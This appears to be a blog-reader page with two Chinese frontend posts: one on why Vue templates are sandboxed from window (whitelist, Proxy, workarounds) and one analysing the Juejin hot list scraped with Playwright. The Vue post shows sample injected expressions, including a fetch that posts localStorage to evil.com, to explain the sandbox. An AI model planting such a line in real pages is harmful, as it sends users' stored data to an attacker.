阅读视图

发现新文章,点击刷新页面。

原来Vue模版里用不了window是这回事

想起以前在项目中遇到了一个问题,想在 Vue 模板里直接用 {{ window.location.href }} 获取当前页面地址,结果发现根本不行!但是在 script 里面用 console.log(window.location.href) 却完全没问题,当时为了快速业务开发,也没想着去研究为什么在模版访问不了,只是换了种解决方案,那刚好现在有时间了,来深入研究一下

这就奇怪了,明明都是 JavaScript,为什么在模板里就不行呢?不知道大家是否也有过这样的疑问呢?

带着这个疑问,我深挖了一下 Vue 的源码和官方文档,发现这背后的原理还挺有意思的。今天就来跟大家分享一下我的发现

先说结论

Vue 模板运行在一个受限的沙箱环境中,只能访问组件的数据和一些被允许的全局变量,window 不在这个"白名单"里。

这不是 bug,是 Vue 故意这么设计的!

30 秒看懂差别

<template>
  <!-- ❌ 这些都不行 -->
  <div>{{ window.location.href }}</div>
  <div>{{ document.title }}</div>
  <div>{{ console.log('test') }}</div>
  
  <!-- ✅ 这些可以 -->
  <div>{{ Math.random() }}</div>
  <div>{{ Date.now() }}</div>
  <div>{{ JSON.stringify(user) }}</div>
</template>

<script>
export default {
  data() {
    return {
      // ✅ 在 script 里随便用
      currentUrl: window.location.href,
      pageTitle: document.title
    }
  },
  mounted() {
    // ✅ 这里是完整的 JavaScript 环境
    console.log(window.navigator.userAgent)
    localStorage.setItem('test', 'value')
  }
}
</script>

你看,同样是 JavaScript 代码,在不同地方的"待遇"完全不一样。

Vue 官方是怎么说的?

我去翻了 Vue 的官方文档,找到了这段话:

Template expressions are sandboxed and only have access to a restricted list of globals.

翻译过来就是:模板表达式被沙箱化了,只能访问受限的全局变量列表。

还有一个更有意思的发现,在 Vue 的 GitHub Issue #1353 里,有开发者问能不能在模板里访问 window,Vue 团队的回复很直接:

这是设计决定,不是 bug。

模板表达式出于安全原因被故意限制在沙箱中。如果需要访问 window 属性,应该在组件的 methods 或 computed 属性中进行。

那接着往下看,vue它是怎么处理的

深挖源码,看看 Vue 到底做了什么

既然官方这么说,那我就去源码里看看 Vue 到底是怎么实现这个限制的。

白名单机制

在 Vue 3 的源码里,我找到了这个白名单:

// Vue 3 源码:packages/shared/src/globalsWhitelist.ts
const GLOBALS_WHITE_LISTED = 
  'Infinity,undefined,NaN,isFinite,isNaN,' +
  'parseFloat,parseInt,decodeURI,decodeURIComponent,' +
  'encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
  'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt'

看到了吧,MathDateJSON 这些都在白名单里,所以模板里可以用。但是 windowdocumentconsole 这些就没有,所以用不了。

代理机制

Vue 是通过 Proxy 来实现这个限制的:

// Vue 3 源码:packages/runtime-core/src/componentPublicInstance.ts
export const PublicInstanceProxyHandlers: ProxyHandler<any> = {
  get({ _: instance }, key) {
    // 查找顺序很重要!
  
    // 1️⃣ 先找组件自己的属性(data、computed、methods、props)
    if (key[0] !== '$') {
      // 这里会查找组件实例的属性
    }
  
    // 2️⃣ 再找全局属性($route、$router 等)
    const publicGetter = publicPropertiesMap[key]
    if (publicGetter) {
      return publicGetter(instance)
    }
  
    // 3️⃣ 最后检查白名单
    if (isGloballyWhitelisted(key)) {
      return (window as any)[key]  // 只有白名单里的才能访问 window
    }
  
    // 4️⃣ 其他情况就报警告
    if (process.env.NODE_ENV !== 'production') {
      warn(`Property "${key}" was accessed but is not defined.`)
    }
    return undefined
  }
}

这个代理的逻辑很清楚:先找组件自己的东西,再找全局属性,最后检查白名单。如果都没找到,就返回 undefined 并且警告。

为什么要这么设计?

刚开始我也觉得这个限制有点麻烦,但深入了解后发现,Vue 这么做是有道理的。

1. 安全考虑

最主要的原因是防止 XSS 攻击。想象一下,如果模板里可以随意访问全局变量,恶意用户可能会注入这样的代码:

// 🚨 如果没有限制,这些恶意代码都可能被执行
{{ window.location.href = 'https://malicious.com' }}
{{ window.localStorage.clear() }}
{{ window.fetch('https://evil.com', { method: 'POST', body: JSON.stringify(window.localStorage) }) }}

这就太危险了!

我还找到一个真实的安全案例:Vue.js Serverside Template XSS,展示了如果没有这种限制会发生什么。

2. 性能考虑

限制作用域查找范围,可以提高表达式求值的性能。如果允许访问所有全局变量,每次求值都要在多个作用域中查找,开销会更大。

3. 代码质量

强制开发者把逻辑放在合适的地方,而不是在模板里写复杂的表达式。这样代码结构更清晰,也更好维护。

实际项目中怎么办?

说了这么多原理,那在实际项目中遇到需要访问全局变量的情况怎么办呢?我总结了几种方法:

方法一:通过 computed 属性(推荐)

computed: {
  currentUrl() {
    return window.location.href
  },
  pageTitle() {
    return document.title
  },
  isOnline() {
    return navigator.onLine
  }
}

方法二:通过 methods

methods: {
  openWindow(url) {
    window.open(url, '_blank')
  },
  copyToClipboard(text) {
    navigator.clipboard.writeText(text)
  }
}

方法三:全局属性注册(适合系统级需求)

// main.js
const app = createApp(App)

app.config.globalProperties.$window = window
app.config.globalProperties.$document = document

// 模板中就可以用了
// {{ $window.innerWidth }}
// {{ $document.title }}

方法四:Composition API 的方式

// composables/useWindow.js
import { ref, onMounted, onUnmounted } from 'vue'

export function useWindow() {
  const width = ref(window.innerWidth)
  const height = ref(window.innerHeight)
  
  const updateSize = () => {
    width.value = window.innerWidth
    height.value = window.innerHeight
  }
  
  onMounted(() => {
    window.addEventListener('resize', updateSize)
  })
  
  onUnmounted(() => {
    window.removeEventListener('resize', updateSize)
  })
  
  return { width, height }
}

一些有趣的发现

在研究这个问题的过程中,我还发现了一些有意思的东西:

为什么 Math.random() 可以用?

因为 Math 在白名单里啊!Vue 认为这些内置的数学、日期、JSON 相关的对象是安全的,所以允许访问。

React 也有这个限制吗?

React 没有!因为 React 用的是 JSX,本质上就是 JavaScript,没有额外的模板编译过程。但这也意味着 React 在安全性方面需要开发者自己把控。

总结

Vue 模板的作用域限制看起来像是一个"坑",但实际上是一个精心设计的安全特性。它强制我们:

  1. 把逻辑放在合适的地方 - 模板专注于展示,逻辑放在 JavaScript 中
  2. 提高代码质量 - 避免在模板里写复杂的表达式
  3. 保证安全性 - 防止恶意代码注入
  4. 优化性能 - 减少不必要的全局变量查找

虽然刚开始可能会觉得不方便,但习惯了之后会发现这样的代码结构更清晰,也更安全。

记住一个原则:模板是视图层,不是逻辑层。把复杂的逻辑交给 JavaScript,让模板保持简洁和安全。


emm 狂野将使他们感到畏惧

我用Playwright爬了掘金热榜,发现了这些有趣的秘密... 🕵️‍♂️

前言

大家好,我是奈德丽。

最近大脑也是突发奇想,掘金每天这么多文章发布,很多朋友又没有时间天天都上掘金,为了帮助掘友们了解一周内最热门技术动态和趋势,我做了这件事,用技术手段总结和分析一周内最热门文章,而且对于想要写作不知道怎么写的掘友来说也是有一定帮助的。

剧透警告:Vue竟然完胜React!AI话题热度爆表!某位大佬一人霸榜两篇!

📈 数据可视化:一图胜千言

客官,请看图:

(热榜分析图)

juejin-analysis-report.png

(热榜原图)

juejin-analysis-source.png

🔍 数据说话:热榜背后的秘密

📊 技术热度排行榜:意外的赢家

先看技术热度排行榜,结果让我大跌眼镜:

🥇 源码分析 - 3篇文章,平均热度1776
🥈 Vue - 4篇文章,平均热度1125  
🥉 AI/机器学习 - 4篇文章,平均热度801

惊喜发现1:源码分析居然是最热门的话题!

看来大家不仅想用技术,更想理解技术。最火的几篇都是讲Source Map原理、Vite底层实现的,程序员们求知欲这么强的吗?(难道大家都在内卷?😂)

惊喜发现2:Vue vs React,Vue完胜!

  • Vue相关:4篇文章上榜
  • React相关:仅2篇文章

这个结果有点意外,毕竟平时React的声量好像更大。看来掘金用户更偏爱Vue,或者说Vue生态最近确实很活跃。

惊喜发现3:AI话题热度爆表!

AI相关文章居然有4篇上榜,包括:

  • 《30行代码langChain.js开发你的第一个Agent》
  • 《探索AI + MCP渲染前端UI》
  • 《Cursor实战万字经验分享》

看来AI真的是无处不在,连前端开发都被"卷"进去了。

👑 影响力排行榜:大佬现身

分析完作者影响力,发现了几位"热榜收割机":

🏆 热度之王:艾克马斯奎普特

  • 1篇文章,热度3348
  • 《为什么响应性语法糖最终被废弃了?尤雨溪也曾经试图让你不用写.value》

这位大佬一出手就是王炸!单篇文章热度直接碾压其他所有文章。而且这个标题起得太棒了,既有技术深度,又有名人效应(尤雨溪),还有悬念感。

学到了学到了!🙋‍♂️

🎯 效率之王:CAD老兵

  • 2篇文章,平均热度2372
  • 一个人霸榜两篇!分别讲Source Map和Vite原理

这位大佬专攻底层原理,而且质量稳定,两篇文章都是高热度。看来"深挖技术原理"这条路是对的。

💡 实用之王:张鑫旭

  • 1篇文章,热度2349
  • 《40岁老前端2025年上半年都学了什么?》

张大神出品,必属精品!这篇文章不仅有技术含量,还有人生感悟,难怪这么受欢迎。

📚 内容类型分析:实战为王

分析内容类型发现了一个有趣的规律:

🥇 实战类 - 35%(7篇)
🥈 原理类 - 25%(5篇)  
🥉 工具类 - 15%(3篇)

实战类内容最受欢迎!

这说明大家更喜欢"能直接上手"的内容,而不是纯理论。比如:

  • 《写个vite插件自动处理系统权限》
  • 《30行代码langChain.js开发你的第一个Agent》
  • 《浏览器中的扫码枪:从需求到踩坑再到优雅解决》

这些文章都有一个特点:有具体的问题 + 完整的解决方案 + 可以直接复制的代码

🧠 深度洞察:我发现的规律

规律1:标题党确实有用(但要有料)

热榜前几名的标题都很有技巧:

  • 悬念式:《为什么响应性语法糖最终被废弃了?》
  • 实用式:《别再只用px了!移动端适配必须掌握的CSS单位》
  • 权威式:《前端高手才知道的秘密:Blob居然这么强大!》
  • 情感式:《我为什么放弃了"大厂梦",去了一家"小公司"?》

但关键是:标题党要有真材实料支撑!

规律2:技术深度 + 实用性 = 爆款

分析热度最高的几篇文章,发现它们都有个共同点:

既有技术深度,又有实用价值

比如《Vite如何借助esbuild实现极速Dev Server体验》,不仅讲了原理,还教你怎么用。这种"既解释为什么,又教你怎么做"的文章最受欢迎。

规律3:AI是流量密码

AI相关的4篇文章虽然热度不是最高,但平均热度都不错。而且覆盖面很广:

  • Agent开发
  • AI编码工具
  • AI + 前端UI

可见AI确实是当下的"流量密码",但要结合具体的应用场景,不能为了AI而AI。

规律4:老前端的经验分享很香

像张鑫旭的《40岁老前端2025年上半年都学了什么?》这种经验分享类文章,虽然不是纯技术,但热度很高。

说明大家不仅关心技术本身,也关心技术人的成长和感悟。

🎯 给写作者的建议

基于这次分析,我总结了几个"爆款"心得:

1. 选题建议

  • 源码分析:永远的热门,但要通俗易懂
  • Vue相关:在掘金很受欢迎,尤其是Vue3
  • AI + 前端:结合具体场景,不要太抽象
  • 工程化工具:Vite、Webpack等永远有市场
  • ⚠️ React:虽然流行,但在掘金要考虑差异化

2. 内容建议

  • 🏆 实战优先:有具体代码,能解决实际问题
  • 📚 深入浅出:有深度但不晦涩
  • 🛠️ 工具实用:介绍好用的工具和插件
  • 💭 经验总结:踩坑经历和最佳实践

3. 标题建议

  • 用疑问句制造悬念
  • 用数字增加具体感
  • 用否定词制造冲突
  • 用权威词增加信任感

🤖 技术实现:我是怎么爬取分析的

既然是技术博客,不能只有结论,还要分享实现过程。

爬虫部分(Playwright)

// 核心爬取逻辑
const articles = await page.$$eval('.article-item-link', items => 
  items.slice(0, 20).map((item, index) => {
    // 提取标题、作者、热度等信息
    const titleElement = item.querySelector('.article-title');
    const authorElement = item.querySelector('.article-author-name-text');
    const hotElement = item.querySelector('.hot-number');
  
    // 解析浏览、互动、收藏数据
    const authorTexts = item.querySelectorAll('.author-text');
    let views = '0', interactions = '0', collections = '0';
    authorTexts.forEach(text => {
      const content = text.textContent.trim();
      if (content.includes('浏览')) views = content.replace('浏览', '').trim();
      if (content.includes('互动')) interactions = content.replace('互动', '').trim();
      if (content.includes('收藏')) collections = content.replace('收藏', '').trim();
    });
  
    return {
      title: titleElement?.textContent.trim(),
      author: authorElement?.textContent.trim(),
      hotScore: hotElement?.textContent.trim(),
      views, interactions, collections
    };
  })
);

智能分析部分

// 技术关键词匹配
const TECH_KEYWORDS = {
  'Vue': ['vue', 'vue3', 'nuxt', 'vite'],
  'React': ['react', 'hooks', 'jsx', 'next.js'],
  'AI/机器学习': ['ai', 'chatgpt', 'llm', 'agent'],
  // ... 更多技术关键词
};

// 分析技术趋势
function analyzeTechTrends(articles) {
  const techStats = {};
  articles.forEach(article => {
    const title = article.title.toLowerCase();
    Object.entries(TECH_KEYWORDS).forEach(([tech, keywords]) => {
      if (keywords.some(keyword => title.includes(keyword))) {
        if (!techStats[tech]) techStats[tech] = { count: 0, totalHot: 0 };
        techStats[tech].count++;
        techStats[tech].totalHot += parseInt(article.hotScore);
      }
    });
  });
  return techStats;
}

🔮 未来展望:下一步计划

这次分析只是开始,我计划:

  1. 定期监控:每周爬取一次,观察技术趋势变化
  2. 多平台对比:对比掘金、思否、CSDN的差异
  3. 情感分析:分析评论情感,了解用户真实反馈

总结

通过这次数据分析,我发现:

  1. 技术人的求知欲很强:源码分析类文章最受欢迎
  2. 实用主义盛行:能解决实际问题的内容更受青睐
  3. Vue在掘金很香:比React文章更容易上热榜
  4. AI是时代主题:各种AI+前端的结合很有市场
  5. 经验分享有价值:不仅要技术硬核,软技能也重要

对内容创作者的启发

  • 深挖技术原理,但要通俗易懂
  • 结合实际场景,提供完整解决方案
  • 关注技术趋势,但不盲目跟风
  • 分享真实经验,建立个人品牌

最后,感谢掘金这个平台,让我们能够分享和学习技术。也感谢所有在热榜上分享知识的大佬们!

你觉得这个分析有趣吗?你想看到哪些其他维度的分析?欢迎在评论区告诉我!

emmm 懦夫的味道

❌